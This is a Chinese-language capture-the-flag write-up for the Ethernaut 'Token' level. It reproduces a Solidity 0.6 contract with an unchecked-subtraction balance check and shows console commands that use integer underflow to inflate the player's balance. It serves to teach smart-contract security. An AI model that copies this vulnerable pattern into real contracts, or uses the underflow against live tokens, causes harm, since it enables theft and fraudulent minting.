CTF Token

本關卡展示了在 Solidity 0.8.0 之前版本中,未經保護的數學運算所帶來的安全風險。攻擊者可以利用整數下溢(Integer Underflow)漏洞,繞過餘額檢查機制,憑空為自己的帳戶創造出巨量的代幣。

題目位置:https://ethernaut.openzeppelin.com/level/5


題目說明

你一開始會獲得 20 枚代幣(tokens)。透過駭入合約,增加你帳戶內的代幣數量,使其遠遠超過初始的 20 枚。

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {
  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

代碼解說

1. 版本宣告與狀態變數

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {
    mapping(address => uint256) balances;
    uint256 public totalSupply;
  • pragma solidity ^0.6.0;:這是整個合約最關鍵的背景。在 Solidity 0.8.0 之前,編譯器不會在底層自動檢查整數運算是否溢位或下溢。如果沒有依賴外部函式庫(如 OpenZeppelin 的 SafeMath),運算結果發生溢位時會直接「繞轉(Wrap around)」。
  • balances:一個雜湊表(Mapping),用來將以太坊地址映射到其對應的代幣餘額。型別為 uint256(無符號整數,範圍是 0 到 2^{256}-1)。
  • totalSupply:紀錄這個代幣的總發行量。

2. 建構子 (Constructor)

    constructor(uint256 _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
  • 當合約被部署時執行。它會將使用者傳入的 _initialSupply 設定為總發行量,並且把所有的初始代幣都分配給部署合約的人(msg.sender)。

3. 轉帳功能與核心漏洞 (transfer)

    function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
  • require:require(balances[msg.sender] - _value >= 0); 檢查發送者是否有足夠的餘額。
  • balances[msg.sender] -= _value; 減少balance的餘額

4. 餘額查詢 (balanceOf)

    function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
  • 標準的檢視函數(view),允許任何人查詢特定地址目前的代幣餘額。

合約互動

在 Ethernaut 的網頁開發者工具 (F12) 的 Console 中,可以先模擬一次正常的轉帳行為。假設轉 1 枚代幣給一個隨機地址,例如題目的合約實體,可以發現原本的20個token變成19個token


> await contract.balanceOf(player);
...omit...
20
...omit...
> await contract.transfer(instance, 1);
> await contract.balanceOf(player);
...omit...
19
...omit...

漏洞分析

致命的漏洞存在於 transfer 函數的這一行:

require(balances[msg.sender] - _value >= 0);

由於 balances 的資料型別是 uint(無符號整數,即永遠不為負數)。當我們嘗試計算 20 - 21 時,在傳統數學中結果是 -1,但在 Solidity (< 0.8.0) 的無符號整數世界中,沒有負數的概念。

當數值低於 0 時,會發生整數下溢(Underflow),數值會繞轉(Wrap around)回到該型別的最大值。因此 20 - 21 的運算結果會變成 2^{256} – 1(一個極大的數字)。

因為 2^{256} – 1 > 0 永遠成立,所以 require 的檢查必定會通過。接著執行 balances[msg.sender] -= _value; 時,你的餘額就會真正地發生下溢,變成那個極大的數字。

解題方法

為了觸發下溢漏洞,我們只需要轉出「比目前餘額多 1」的代幣數量即可。你目前的餘額應該是 20(或剛剛 demo 後的 19)。

await contract.transfer(instance, 21);
await contract.balanceOf(player);

查詢目前餘額會發現變成一個極大值。接著點擊網頁下方的 “Submit instance” 即可順利通關。